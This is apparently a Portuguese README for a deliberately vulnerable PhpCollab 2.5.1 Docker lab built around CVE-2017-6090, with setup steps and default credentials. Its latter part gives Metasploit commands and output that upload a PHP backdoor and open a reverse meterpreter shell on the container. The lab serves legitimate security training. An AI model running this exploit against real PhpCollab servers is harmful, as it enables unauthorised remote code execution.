
Containerized exploitable PhpCollab
Este projeto constrói um container executando PhpCollab 2.5.1, contendo uma vulnerabilidade de execução remota de código conforme detalhado em CVE-2017-6090. Além disso, existe um arquivo docker-compose para iniciar esse container e o mysql para demonstrar o cenário, e as instruções para exploração estão abaixo.
docker build -t nomedocontainer . ou use a imagem jlkinsel/exploit-cve-2017-6090
A maneira mais fácil de colocar isso em funcionamento é usar o arquivo docker-compose.yml incluído. Se eu ficar entediado em algum momento – ou se houver interesse – criarei um deployment kubernetes ou um helm chart.
Então, para iniciar:
docker-compose up
Até aqui, tudo bem! Agora, o phpcollab precisa ser configurado para usar o banco de dados e receber uma senha de administrador padrão. Tentei (brevemente) automatizar isso, mas... bem... você parece saber como usar um navegador...
Finalmente, você pode fazer login e explorar, mas não é necessário para o exploit.
Observe que esta composição docker não está fazendo nada sofisticado para
armazenamento. Se desejar persistir o banco de dados mysql, você precisará
adicionar uma definição de volume à definição do serviço mysql no
docker-compose.yml. Veja exemplos na página do mariadb no docker hub
Primeiro – siga Executar & Configurar acima para colocar a aplicação em funcionamento.
Não adicionei um exploit neste projeto porque, bem, Metasploit.
Novato no MSF? Aqui está uma visão geral rápida de como explorar o container que acabamos de iniciar:
docker run -ti --network exploitcve20176090_default remnux/metasploit
Isso leva alguns minutos para inicializar. A página do remnux/metasploit no docker hub aborda o uso de volumes para que isso não demore tanto no futuro. Mas estamos quase lá!
Assim que obtiver um prompt de shell, vamos continuar:
# msfconsole
msf5 > use exploit/unix/webapp/phpcollab_upload_exec
msf5 exploit(unix/webapp/phpcollab_upload_exec) > set TARGET 0
TARGET => 0
msf5 exploit(unix/webapp/phpcollab_upload_exec) > set RHOST phpcollab
RHOST => phpcollab
msf5 exploit(unix/webapp/phpcollab_upload_exec) > set RPORT 80
RPORT => 80
msf5 exploit(unix/webapp/phpcollab_upload_exec) > set TARGETURI /
TARGETURI => /
msf5 exploit(unix/webapp/phpcollab_upload_exec) > exploit
[*] Started reverse TCP handler on 172.31.0.4:4444
[*] Uploading backdoor file: 1.wGvfKLDyWHL.php
[+] Backdoor successfully created.
[*] Triggering the exploit...
[*] Sending stage (37543 bytes) to 172.31.0.2
[+] Deleted 1.wGvfKLDyWHL.php
meterpreter >
Neste ponto, você está dentro e os jogos podem começar.
Se o nome deste diretório for algo diferente de "exploit-CVE-2017-6090", você precisará alterar o comando --network acima.
Além disso – sim, definimos a porta remota como 80 no msfconsole, embora seja 8088 externamente. O container metasploit está na mesma rede que o container phpcollab.
| Campo | valor |
|---|
| Servidor de banco de dados | mysql |
| Login do banco de dados | phpcollab |
| Senha do banco de dados | changeme |
| Nome do banco de dados | phpcollab |
| Notificações | False |
| Senha do administrador | changeme (ou o que você quiser) |